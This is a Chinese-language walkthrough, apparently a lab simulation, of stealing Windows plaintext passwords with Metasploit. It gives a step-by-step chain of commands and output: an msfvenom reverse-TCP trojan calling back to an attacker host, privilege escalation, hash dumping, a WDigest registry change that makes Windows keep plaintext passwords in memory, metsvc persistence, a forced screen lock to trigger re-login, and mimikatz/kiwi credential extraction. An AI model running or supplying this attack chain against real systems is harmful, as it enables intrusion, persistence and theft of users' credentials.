抓取 Windows 明文密码

491

思路

在安装了KB2871997补丁的系统以及 WIN10 或 WIN 2012以上, 默认不在内存中保存明文密码

  • 生成木马, 让目标中马

  • 控制目标机并提权

  • 修改注册表, 使其能够在内存中保存明文密码

  • 让目标重新登录

    这里涉及到一个问题, 在目标登录后如何连接上木马程序, 有两种方式:

    • 权限维持
    • 获取hash 进行 PTH 攻击

    或者可以只锁屏

  • 使用密码获取工具, 如 mimikatz 获取明文密码

实例模拟

此处使用 msf

msf 下载地址: https://github.com/rapid7/metasploit-framework

生成木马

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.10.151 LPORT=8888 -f exe -o shell.exe

监听 shell

# 进入交互控制台
msfconsole

# 使用模块
use exploit/multi/handler

# 设置 payload
set payload windows/meterpreter/reverse_tcp

# 设置监听地址
set LHOST 192.168.10.151

# 设置监听端口
set LPORT 8888

# 开启监听
run

当目标运行了木马程序后连接成功:

[*] Started reverse TCP handler on 192.168.10.151:8888
[*] Sending stage (176198 bytes) to 192.168.10.162
[*] Meterpreter session 1 opened (192.168.10.151:8888 -> 192.168.10.162:59578) at 2024-06-08 22:54:22 +0800

提权

# 迁移
mgrate 3776
# 提权
getsystem

顺利提权

获取 hash

首先获取 hash

hashdump

结果:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:5ac8a84689a5e594cc9089ed2dfd66f3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pc1:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cee85b9a88daf1a0cf152a44e1aaacc6:::

修改注册表

首先修改目标机的注册表, 让其可以保存明文密码

reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1

接下来就需要目标机重启或者重新登录, 来让其密码保存到内存中, 再进行抓取

重新登录就需要考虑如何再次连上目标机, 有两种方式可供选择:

  • 通过上面获取的 hash, 进行 PTH 攻击
  • 使用 msf 自带的权限维持

这里介绍自启动

权限维持

因为要关机或是重新登录操作, 要确保木马程序开机自启动

run metsvc -A

获取明文密码

首先编写一个进本

Function Lock-WorkStation {

$signature = @"

[DllImport("user32.dll", SetLastError = true)]

public static extern bool LockWorkStation();

"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru

$LockWorkStation::LockWorkStation() | Out-Null

}

Lock-WorkStation

上传脚本并运行:

# 上传准备好的锁屏脚本
upload lock.ps1 C:\\

# 运行脚本
powershell -ExecutionPolicy Bypass -file C:\\lock.ps1

接下来就是等待目标重新登录

目标重新登录后回到 msf 的监听中

# 加载 kiwi
load kiwi

# 获取所有密码
creds_all

密码如下:

===============

Username  Domain           NTLM                              SHA1                                      DPAPI
--------  ------           ----                              ----                                      -----
pc1       DESKTOP-VLDCMVN  32ed87bdb5fdc5e9cba88547376818d4  6ed5833cf35286ebf8662b7b5949f0d742bbec3f  6ed5833cf35286ebf8662b7b5949f0d7

wdigest credentials
===================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
DESKTOP-VLDCMVN$  WORKGROUP        (null)
pc1               DESKTOP-VLDCMVN  123456

kerberos credentials
====================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
desktop-vldcmvn$  WORKGROUP        (null)
pc1               DESKTOP-VLDCMVN  (null)